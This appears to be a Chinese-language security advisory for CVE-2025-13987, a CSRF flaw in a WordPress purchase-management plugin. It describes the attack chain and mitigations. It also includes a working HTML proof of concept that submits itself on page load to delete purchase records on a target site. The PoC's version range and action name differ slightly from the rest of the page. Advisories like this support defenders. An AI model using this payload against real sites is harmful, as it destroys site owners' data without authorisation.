IPBUF安全漏洞报告
English
CVE-2025-13987 CVSS 4.3 中危

CVE-2025-13987 WordPress Purchase and Expense Manager插件CSRF漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-13987
漏洞类型
跨站请求伪造(CSRF)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
WordPress Purchase and Expense Manager插件

相关标签

CSRFWordPress插件Purchase and Expense Manager跨站请求伪造nonce验证缺失CVE-2025-13987数据删除漏洞

漏洞概述

CVE-2025-13987是WordPress平台下Purchase and Expense Manager插件的一个跨站请求伪造(CSRF)安全漏洞。该漏洞存在于插件的1.1.2及之前所有版本中,由于缺少对'sup_pt_handle_deletion'函数的nonce验证机制,导致攻击者可以通过构造恶意请求,诱导已登录的网站管理员在不知情的情况下执行删除任意采购记录的操作。此漏洞的CVSS评分为4.3,属于中等严重程度,攻击向量为网络层面,攻击复杂度低,但需要用户交互(诱导管理员点击链接)。虽然该漏洞不直接导致敏感数据泄露或远程代码执行,但攻击者可利用此漏洞删除重要的业务采购记录,对网站的业务数据完整性和可用性造成影响。

技术细节

该漏洞的根本原因在于Purchase and Expense Manager插件的'sup_pt_handle_deletion'函数缺少WordPress标准的nonce令牌验证机制。在WordPress插件开发中,nonce验证是防止CSRF攻击的标准安全实践,通过wp_verify_nonce()函数验证请求的合法性。攻击者可以创建一个包含删除采购记录参数的恶意链接或网页,当具有管理员权限的用户访问该链接时,浏览器会自动携带该用户的认证cookie向目标网站发起请求。由于服务器端未验证请求的nonce令牌,攻击者的删除请求会被成功执行。此漏洞影响插件的所有版本直到1.1.2,攻击者无需认证即可发起攻击,但必须诱导管理员进行点击操作。

攻击链分析

STEP 1
步骤1
攻击者创建恶意网页,包含自动提交的表单或隐藏的图片标签,指向目标WordPress网站的删除采购记录接口
STEP 2
步骤2
攻击者通过钓鱼邮件、社交工程或其他方式诱导目标网站的管理员访问该恶意网页
STEP 3
步骤3
管理员的浏览器自动携带有效的认证cookie向目标网站发起POST请求,请求中包含删除采购记录的操作参数
STEP 4
步骤4
由于目标插件的'sup_pt_handle_deletion'函数缺少nonce验证,服务器端无法识别该请求为伪造请求
STEP 5
步骤5
服务器执行删除操作,指定的采购记录被成功删除,攻击者达成破坏数据完整性的目的

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-13987 --> <!-- Purchase and Expense Manager < 1.1.2 - CSRF to Delete Arbitrary Purchase Records --> <!DOCTYPE html> <html> <head> <title>CSRF Attack - CVE-2025-13987</title> </head> <body> <h1>CSRF PoC for Purchase and Expense Manager</h1> <p>Click the button below to delete purchase record with ID=1</p> <form action="http://target-site.com/wp-admin/admin-ajax.php" method="POST" id="csrfForm"> <input type="hidden" name="action" value="sup_pt_delete_purchase"> <input type="hidden" name="purchase_id" value="1"> <!-- Missing nonce field - this is the vulnerability --> <button type="submit">Click Me</button> </form> <script> // Auto-submit form when page loads document.getElementById('csrfForm').submit(); </script> <!-- Alternative: Hidden image tag for automatic request --> <!-- <img src="http://target-site.com/wp-admin/admin-ajax.php?action=sup_pt_delete_purchase&purchase_id=1" style="display:none"> --> </body> </html>

影响范围

Purchase and Expense Manager插件 <= 1.1.2

防御指南

临时缓解措施
如果无法立即升级插件,可以采取以下临时缓解措施:1)定期备份网站数据和数据库,以便在数据被删除时能够恢复;2)审查并删除所有未知的管理员账户;3)使用Web应用防火墙(WAF)规则阻止异常的admin-ajax.php请求;4)提醒管理员不要点击来自未知来源的链接;5)限制管理员账户的使用,仅在必要时登录后台操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表